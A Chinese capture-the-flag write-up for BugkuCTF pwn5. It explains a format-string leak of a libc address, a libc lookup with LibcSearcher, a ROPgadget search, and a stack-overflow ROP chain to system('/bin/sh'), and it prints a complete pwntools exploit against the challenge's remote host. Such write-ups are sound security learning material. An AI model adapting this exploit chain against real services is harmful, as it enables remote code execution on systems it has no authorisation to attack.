BugkuCTF pwn5

0x00 前言

总算熬过了考试周,攒了好多题没刷。

作为刚学pwn的小白,这题摸了好久才发现摸出一个大坑,心态崩了..

我决定好好记录一下。


0x01 IDA分析

首先checksec一下,查看防护机制,发现只打开了NX。

image-20200525200910618

拖入IDA,发现程序很简单,有两处明显漏洞,第一个是格式化字符串漏洞,如下所示。

1
2
3
4
5
6
7
memset(&s, 0, 0x20uLL);
puts("人类的本质是什么?\n");
read(0, &s, 8uLL);
printf(&s, &s);
puts(&s);
puts(&s);
puts(&s);

关于格式化字符串漏洞可以参考这篇文章:格式化字符串讲解

还有这篇很不错的经典讲解,讲的特别好,可以好好学习一下。

正常情况下format->hello,world%s%d%f

​ ->a(%s) 第一个参数

​ ->b(%d)第二个参数

​ ->c(%f)第三个参数


第二处漏洞是栈溢出,在第二次输入的时候,read函数会读入0x40长度的数据,但s只有0x20的长度,造成溢出。但是,想要溢出还要有一个条件,就是不要跳转到if分支中。

1
2
3
4
5
6
7
8
read(0, &s, 0x40uLL);
if ( !strstr(&s, "鸽子") || !strstr(&s, "真香") )
{
puts("你并没有理解人类的本质,再见!");
exit(0);
}
puts("人类的三大本质:复读机,真香,鸽子");
return 0;

0x02 程序分析

首先,不同于一开始的入门题,这个程序不存在后门(systembin/sh),所以需要返回到libc中,那么就需要泄露libc的基地址。

知识点:由于延迟绑定机制,只有动态库函数在被调用时,才会地址解析和重定位工作,所以如果想找到libc的基地址的话,必须要通过已经被调用的函数的地址来计算。也就是说如果知道某被调用过的函数的真实地址,再减去偏移地址,即可知道libc基地址,那么libc中任意函数的地址只要加上偏移地址就可以计算出。

那么思路很清晰了,只要通过格式化字符串漏洞泄露出一个确定的函数地址,便可求出libc基地址

,那么就可以找到systembin/sh的位置,通过栈溢出就可以get shell了。


0x03 漏洞利用

要利用格式化字符串漏洞首先要找到要泄露地址的函数的位置,这里用到gdb动调,emmm有点复杂,这里不做过多讲解,结果如下图所示。

image-20200525210034344

很显然可以计算出__libc_start_main+231在栈中的位置:0x28/8+6=11

即这是格式化字符串的第11个参数,因此泄露地址的payload就是%11$p

这里需要注意的是接收的格式要转换为16位int,再减去偏移的231,之后才能作为__libc_start_main的起始地址传给LibcSearcher,确定libc版本,找到system/bin/sh地址。

知识点:1.%num$p是指泄露出第num个参数的偏移的地址

​ 2.64位程序函数前六个参数分别放在寄存器rdi,rsi,rdx,rcx,r8,r9,从第7个参数起开始加载到栈。(也就是偏移量+6的原因)


接下来就要确定libc的版本,可以使用这个在线网站进行查询。

也可以使用LibcSearcher工具(程序需要放在该文件夹下)

通过libc就可以查到system和bin/sh的偏移地址了

最后一步,利用栈溢出漏洞,通过strstr函数的使用方式可得,字符串中必须同时含有“鸽子”和“真香”才不会跳转进去。利用cyclic,可以发现报错的返回地址是0x6161616961616168,即“真香鸽子”后再有28位填充数据(cyclic -l查看后4个字节)。由于是64位,所以/bin/sh地址需要传给rdi。

用ROPgadget搜索,发现程序中存在pop rdi; ret的地址,因此可以确定payload了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ROPgadget --binary human --only 'pop|ret'
Gadgets information
============================================================
0x000000000040092c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040092e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400930 : pop r14 ; pop r15 ; ret
0x0000000000400932 : pop r15 ; ret
0x000000000040092b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040092f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x0000000000400933 : pop rdi ; ret
0x0000000000400931 : pop rsi ; pop r15 ; ret
0x000000000040092d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e9 : ret

0x04 exp

通过上面一顿分析,终于可以写exp了

但是…

image-20200525213926059

(╯‵□′)╯︵┻━┻!!!!!!!!!!!!!!!!!!!!!

大坑出现了。。在网上找了好久,终于发现目标机器的libc是2.23,而我的ubuntu18.4的libc是2.27,调试的时候用的是我的机器编译链接,函数偏移自然不一样。做pwn还是建议使用Ubuntu16.4,老版本才是王道。

最后贴出正确的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8
from pwn import *
from LibcSearcher import *
#sh = process('./human')
sh = remote('114.116.54.89',10005)
#context.log_level = 'debug'

sh.recvuntil('?')
payload = '%11$p'#栈中第十一个参数
print payload

sh.sendline(payload)
leak_addr = int(sh.recvuntil("%11$p")[:-6], 16)#接受数据,直到“%11$p”,并去掉后6个字节
libc_start_addr = leak_addr - 240

libc = LibcSearcher("__libc_start_main", libc_start_addr)
libc_base = libc_start_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print hex(libc_base)

pop_rdi_ret = 0x0000000000400933

sh.recvuntil('?')
pass_str = "真香鸽子"
pass_str = pass_str.ljust(0x20,'a')+'a'*8+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)#栈溢出
sh.sendline(pass_str)
sh.interactive()

果然,

一入pwn门深似海,从此脱发是常态!

呜呼悲哉!